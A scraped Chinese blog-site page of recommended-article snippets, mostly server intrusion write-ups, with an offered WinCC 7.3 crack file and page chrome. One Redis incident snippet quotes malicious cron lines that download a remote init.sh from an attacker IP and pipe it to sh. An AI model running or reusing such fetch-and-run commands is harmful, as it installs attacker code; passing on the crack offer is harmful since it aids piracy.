TUL PYNQ™-ZU板，基于Xilinx Zynq UltraScale+ MPSoC，是为Xilinx大学项目设计的，以支持Xilinx PYNQ (Python Productivi-ty for Zynq)开源框架和嵌入式系统开发。

weixin_57025922的博客 948

一次服务器被入侵后的分析

一次服务器被入侵后的分析 来源: 伯乐在线 作者:freebuf 　　关注我们:      原文出处： lars strand 译文出处： freebuf   最近有个朋友让我去帮他看一下他的linux服务器.说是apache启动不了,有很多诡异的情况.后来证明绝不是apache启动不了这么简单. 登上服务器之后随便看了下,最先引起我注意的是”ls”命

宠辱不惊，闲看庭前花开花落；去留无意，漫随天外云卷云舒。 1730

在MATLAB和Simulink中设计并仿真一个智能建筑能效优化系统

智能建筑能效优化是现代建筑管理的重要组成部分，旨在通过智能化手段降低能源消耗、减少碳排放并提高居住舒适性。通过Simulink进行智能建筑能效优化仿真，可以验证控制策略的有效性、优化系统设计并降低开发成本。以下是如何在MATLAB和Simulink中设计并仿真一个智能建筑能效优化系统的详细步骤。通过上述步骤，我们成功设计并实现了基于Simulink的智能建筑能效优化仿真。该系统能够模拟复杂的建筑环境，验证能效优化策略的有效性，并通过优化设计提高建筑的能源利用效率和居住舒适性。

xiaoheshang_123的博客 140

一次入侵过程

原贴：http://blog.chinaunix.net/u/13329/showart.php?id=97289  

最实用的Linux博客 1321

在 Visual Studio Code 中开发 SAP Fiori 应用并部署到 Cloud Foundry 的完整实战指南

摘要：本文介绍如何以ABAP RAP服务为后端，通过VS Code和SAP Fiori工具将Fiori应用一键部署到SAP BTP Cloud Foundry环境。主要内容包括：1) 开发环境配置（VS Code+Fiori工具）；2) 架构流程说明（MTA打包、Approuter路由）；3) 权限准备（业务Catalog分配）；4) 创建带Approuter的MTA项目；5) 连接ABAP OData服务并生成Fiori应用。文中还针对常见问题（如服务不可见、部署失败）提供了解决方案参考。

2007 年 ~ 2025 年，深耕 SAP 技术 18 年 370

WINCC7.3破解文件

WINCC7.3硬件够破解文件，有需要的下载！WINCC7.3硬件够破解文件，有需要的下载！

一次局域网入侵全过程

一次局域网入侵全过程  首先申明：　　1.入侵的范围只包括局域网，如果在学校上，可以入侵整个校园网; 　　2.能入侵的只是存在弱口令(用户名为administrator等,密码为空)，并且开了139端口，但没开防火墙的机子。　　入侵工具： ...首先申明：　　1.入侵的范围只包括局域网，如果在学校上，可以入侵整个校园网;　　2.能入侵的只是存在弱口令(用户名为adminis

星火baba 5307

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0， 兼容Win7/Win10/WinXP，解压就可用。

一次服务器被入侵的处理经过

　　容器为何自动停止? 　　服务器为何操作卡顿? 　　进程的神秘连接到底指向何处? 　　发现——自动停止的容器 　　某日发现部署在服务器上的一个容器被停掉了，开始以为是同事误操作停止或删除了。 　　但登录服务器重新启动容器的时候发现一个奇怪的现象：容器启动后几秒钟便会自动停止。 　　一般来说这种情况可能是容器本身有问题。 　　但是查看容器日志并未得到任何错误信息，而且该容器镜像已在其...

qianfeng_dashuju的博客 1656

Camera2Demo

在Camera2 的基础上进行封装，使得Camera2一堆初始化逻辑与Activity分离，降低耦合度，完成预览拍照并保存的操作

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android：LinePhone3.2.7(最新版本)，官网地址：http://www.linphone.org/

虚拟入侵php网站,一次虚拟的入侵经过

一次虚拟的入侵经过byanalysisthttp://www.china4lert.org这是一次虚拟入侵，因为这次入侵的过程都是虚拟的，但这次入侵又非常地真实，因为我们完全可以按照其中介绍的方式入侵任何一个类似的网站。我们即将入侵的主机基本情况如下：操作系统：RedHatLinuxv7.1主机地址：http://www.notfound.orgWeb服务器：Apachev1.3.20好...

weixin_32286189的博客 671

入侵检测技术

一，入侵检测概述 1980年James P. Aderson首先提出入侵检测概念，将入侵尝试或威胁定义为：潜在的，有预谋的，未经授权的访问信息和操作信息，致使系统不可靠或无法使用的企图。 1987年，Dorothy Denning提出了入侵检测系统（Intrusion Detection System，IDS）的抽象模型，首次提出了入侵检测可作为一种计算机系统安全防御措施的概念，与传统的加密和访问控制技术相比，IDS是全新的计算机安全措施。 1988年，Teresa Lunt等人进一步改进了Denning

Ymm的博客 2万+

记一次 Kubernetes 集群被入侵，服务器变矿机

近期遇到了一次我们自建 Kubernetes 集群中某台机器被入侵挖矿，后续也找到了原因，所幸只是用来挖矿…网络安全是个严肃的问题，它总是在不经意间出现，等你反应过来却已经迟了。希望各位读者看完后也有所启发，去检查及加固自己的集群。入侵现象检查到某台机器中出现了异常进程简单来讲，就是我们的机器被用来挖矿了…问题出现后，我们第一时间关闭了docker，其实应该隔离下环境, 把挖矿程序dump下来，以便后续分析。具体原因排查iptables为空出现了异常进程，肯定是被入侵了，我首先看的是 iptables。

qq_44005305的博客 1748

记一次 Linux 被入侵全过程

记一次 Linux 被入侵全过程 0x00 背景 周一早上刚到办公室，就听到同事说有一台服务器登陆不上了，我也没放在心上，继续边吃早点，边看币价是不是又跌了。不一会运维的同事也到了，气喘吁吁的说：我们有台服务器被阿里云冻结了，理由：对外恶意发包。 我放下酸菜馅的包子，ssh连了一下，被拒绝了，问了下默认的22端口被封了。让运维的同事把端口改了一下，立马连上去，顺便看了一下登录名:root，还有不足8位的小白密码，心里一凉：被黑了！ 0x01 查找线索 服务器系统CentOS 6.X，部署了nginx，tom

bishe_teacher的博客 408

小小的做一次“黑客“，入侵一次自己的服务器

前两天刚买了个腾讯服务器(CVM)，这次登陆上去的时候特别卡，通过top发现负载特别高，因为是刚搭建的环境，也没有运行什么应用程序，所以我觉得这有点不正常。

瓦罗兰特顶级C位的博客 1279

一次linux肉鸡入侵检测

 原贴：http://www.hacker.com.cn/article/view_14673.html一次linux肉鸡入侵检测黑客发布日期：2008-9-20 0:10:36共有 953 人次浏览 put(appCommon.toUploadPic(,null,null,1,10,no));一次linux肉鸡入

最实用的Linux博客 4136

Redis 也能被攻击？一次Redis被入侵的记录

通过 RDB 方式入侵，Redis 被攻击记录 1. 详情 发现 Redis 中突然多了几个 key backup1 backup2 backup3 backup4 具体内容如下： */2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh */3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh */4 *

探索云原生 5957
上一篇： Adore-ng使用简介
下一篇： linux后门系列之adore-ng
点赞 0
评论 0
书签 书签 0
iiprogram
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
+ 关注 专栏目录 订阅专栏
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值